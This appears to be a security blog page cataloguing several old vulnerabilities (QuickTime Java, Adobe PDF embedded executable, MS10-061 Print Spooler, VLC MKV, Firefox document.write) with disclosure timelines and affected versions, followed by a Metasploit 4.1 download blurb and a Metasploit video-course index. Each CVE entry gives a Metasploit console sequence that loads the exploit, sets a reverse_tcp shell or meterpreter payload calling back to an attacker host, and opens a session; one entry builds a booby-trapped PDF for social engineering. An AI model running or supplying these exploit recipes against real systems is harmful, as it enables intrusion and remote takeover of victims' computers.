Cve-2007-2175 : Apple Qtjava Toqtpointer() Arbitrary Memory Access

Vulnerability discovered by Shane Macaulay & Dino Dai Zovi during CanSecWest 2007
Vulnerability reported to ZDI by Dino A. Dai Zovi & Shane Macaulay
Vulnerability reported to the vendor by ZDI the 2007-04-23
Coordinated vulnerability disclosure the 2007-05-01
Metasploit PoC provided the 2007-05-29

PoC provided by:
hdm
kf
ddz

Reference(s) :
CVE-2007-2175
ZDI-07-023

Affected versions :
QuickTime 7 previous version 7.1.6 for Windows and OS X

Tested on Windows XP SP3 with QuickTime 7.1.5

Description :
This module exploits an arbitrary memory access vulnerability in the Quicktime for Java API provided with Quicktime 7.

Metasploit demo :

use exploit/multi/browser/qtjava_pointer
set SRVHOST 192.168.178.21
set TARGET 0
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.178.21
exploit

sessions -i 1
sysinfo
getuid
ipconfig

Read More

Cve-2010-1240 : Adobe Pdf Embedded Exe Social Engineering

Vulnerability discovered & disclosed by Didier Stevens the 2010-03-29
Exploit-DB PoC provided by Didier Stevens the 2010-03-31

PoC provided by:
jduck
Colin Ames

Reference(s) :
CVE-2010-1240
EDB-ID-11987

Affected versions :
Adobe Reader 9.3.2 and earlier versions for Windows, Macintosh, and UNIX
Adobe Acrobat 9.3.2 and earlier versions for Windows and Macintosh

Tested on Windows XP SP3 with Adobe Reader 9.3.0

Description :
This module embeds a Metasploit payload into an existing PDF file. The resulting PDF can be sent to a target as part of a social engineering attack.

Metasploit demo :

use exploit/windows/fileformat/adobe_pdf_emb­edded_exe
set OUTPUTPATH /home/eromang
set INFILENAME metasploit.pdf
set TARGET 0
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.178.21
expoit -j

sessions -i 1
dir

Read More

Ms10-061 : Microsoft Print Spooler Service Impersonation Vulnerability

Vulnerability exploited by the StuxNet worm
Security update released by Microsoft (KB2347290) the 2010-09-14
Metasploit PoC released the 2010-09-17

PoC provided by:
jduck
hdm

Reference(s) :
CVE-2010-2729
MS10-061

Affected versions :
Windows XP SP3
Windows XP Professional x64 SP2
Windows Server 2003 SP2
Windows Server 2003 x64 SP2
Windows Vista SP1 and Windows Vista SP2
Windows Vista x64 SP1 and Windows Vista x64 SP2
Windows Server 2008 32 and Windows Server 2008 32 SP2
Windows Server 2008 x64 and Windows Server 2008 x64 SP2
Windows 7 32
Windows 7 x64
Windows Server 2008 R2 x64

Tested on Windows XP SP3

Description :
This module exploits the RPC service impersonation vulnerability detailed in Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service to create a file. The working directory at the time is %SystemRoot%\system32. An attacker can specify any file name, including directory traversal or full paths. By sending WritePrinter requests, an attacker can fully control the content of the created file. In order to gain code execution, this module writes an EXE and then (ab)uses the impersonation vulnerability a second time to create a secondary RPC connection to the \PIPE\ATSVC named pipe. We then proceed to create a remote AT job using a blind NetrJobAdd RPC call.

Metasploit demo :

use exploit/windows/smb/ms10_061_spoolss
nmap 192.168.178.41
set RHOST 192.168.178.41
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

sessions -i 1
getuid
sysinfo
ipconfig

Read More

CVE-2011-0531 : VideoLAN VLC MKV Memory Corruption

Vulnerability discovered by Dan Rosenberg
Vulnerability privately submitted to the vendor by Dan Rosenberg the 2010-01-26
Coordinated vulnerability disclosure and new version released the 2010-01-30
Metasploit PoC released the 2010-02-01

PoC provided by:
Dan Rosenberg

Reference(s) :
CVE-2011-0531
SA1102

Affected versions :
VideoLAN VLC version 1.1.6 and previous versions.
With version 1.1.1 to 1.1.6 you will only get a DoS of VLC, caused by SetProcessDEPPoly.

Tested on Windows XP SP3 with :
VideoLAN VLC 1.1.0 released the 2010-06-22, version how don't contain SetProcessDEPPoly.

Description :
This module exploits an input validation error in VideoLAN VLC version 1.1.6 and previous versions. By creating a malicious MKV or WebM file, a remote attacker could execute arbitrary code. NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to permanently enable NX support on machines that support it. As such, This module will only work against systems that do not support NX or are too old to have SetProcessDEPPolicy.

Since 2011-02-08, jduck from Metasploit team, has update vlc_webm to work with DEP !

Metasploit demo :

use exploit/windows/fileformat/vlc_webm
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sessions -i 1
getuid
sysinfo
ipconfig

Read More

Cve-2010-3765 : Mozilla Firefox Interleaving Document.Write And Appendchild Exploit

Vulnerability discovered in the wild
Vulnerability corrected by vendor the 2010-10-27
Vulnerability & Exploit-DB PoC disclosed by unknown the 2010-10-29
Metasploit PoC released the 2011-02-17

PoC provided by:
unknown
scriptjunkie

Reference(s) :
CVE-2010-3765
MFSA 2010-73
EDB-ID-15352
OSVDB-ID-68905

Affected versions :
All Firefox 3.6.x versions previous version 3.6.12
All Firefox 3.5.x versions previous version 3.5.15
All Thunderbird 3.1.x versions previous version 3.1.6
All Thunderbird 3.0.x versions previous version 3.0.10
All SeaMonkey 2.0.x versions previous version 2.0.10

Tested on Windows XP SP3 with Firefox 3.6.9 released the 2010-09-23

Description :
This module exploits a code execution vulnerability in Mozilla Firefox caused by interleaved calls to document.write and appendChild. This exploit is a metasploit port of the in-the-wild exploit.

Metasploit demo :

use exploit/windows/browser/mozilla_interlea­ved_write
set SRVHOST 192.168.178.21
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit


sessions -i 1
getuid
sysinfo
ipconfig

Read More

Download:Metasploit 4.1 and Armitage: What's New?

Metasploit 4.1.0 is the first release that includes Metasploit Community Edition, a free, optional extension to the Metasploit Framework, which enables comprehensive network discovery, a module browser, directed exploitation, and third party vulnerability information import, all via a graphical user interface. In addition, this release also includes:

For all versions, a complete overhaul and expansion of the Hosts tab, now called the Analysis Tab, with signficant improvements to the searching and sorting of hosts, vulnerabilities, credentials, collected evidence, and notes.
For Metasploit Express and Metasploit Pro, a redesigned Reports section, where all reports are now first-class generated reports. Generated reports also support a portable HTML format for easy in-browser viewing.
For Metasploit Pro, automatic tagging of new host records from discovery scans, Nexpose scans, or third party imports.

Download
Select your prefered OS

• Windows Download
• Linux 32-Bit Download
• Linux 64-Bit Download

Metasploit Edition -After Installation
Metasploit Pro Request- 7-day trial or enter purchased license.
Metasploit Express- Enter purchased license.
Metasploit Community -Request free product key.
Metasploit Framework -No registration required.

 

This video shows some of the new features in Armitage for Metasploit 4.1. You'll see improved tab management features, more exploit feedback, VNC, brute forcing, token stealing, and an export data feature to aid reporting. This video also offers a quick glimpse of the Metasploit Community Edition. You can learn more about Armitage at http://www.fastandeasyhacking.com/

Read More

Metasploit Megaprimer By Vivek Ramachandran

In this video series, we will learn Metasploit from start to finish! We will start with the absolute basics and then go to more advanced things like writing your meterpreter scripts and modules, and to use Metasploit for Exploit Research.

1		Metasploit Megaprimer (Exploitation Basics And Need For Metasploit) Part 1
2		Metasploit Megaprimer (Getting Started With Metasploit) Part 2
3		Metasploit Megaprimer Part 3 (Meterpreter Basics And Using Stdapi)
4		Metasploit Megaprimer Part 4 (Meterpreter Extensions Stdapi And Priv)
5		Metasploit Megaprimer Part 5 (Understanding Windows Tokens And Meterpreter Incognito)
6		Metasploit Megaprimer Part 6 (Espia And Sniffer Extensions With Meterpreter Scripts)
7		Metasploit Megaprimer Part 7 (Metasploit Database Integration And Automating Exploitation)
8		Metasploit Megaprimer Part 8 (Post Exploitation Kung Fu)
9		Metasploit Megaprimer Part 9 (Post Exploitation Privilege Escalation)
10		Metasploit Megaprimer Part 10 (Post Exploitation Log Deletion And Av Killing)
11		Metasploit Megaprimer (Post Exploitation And Stealing Data) Part 11
12		Metasploit Megaprimer Part 12 (Post Exploitation Backdoors And Rootkits)
13		Metasploit Megaprimer Part 13 (Post Exploitation Pivoting And Port Forwarding)
14		Metasploit Megaprimer Part 14 (Backdooring Executables)
15		Metasploit Megaprimer Part 15 (Auxiliary Modules)
16		Metasploit Megaprimer Part 16 (Pass The Hash Attack)
17		Metasploit Megaprimer Part 17 (Scenario Based Hacking)

Read More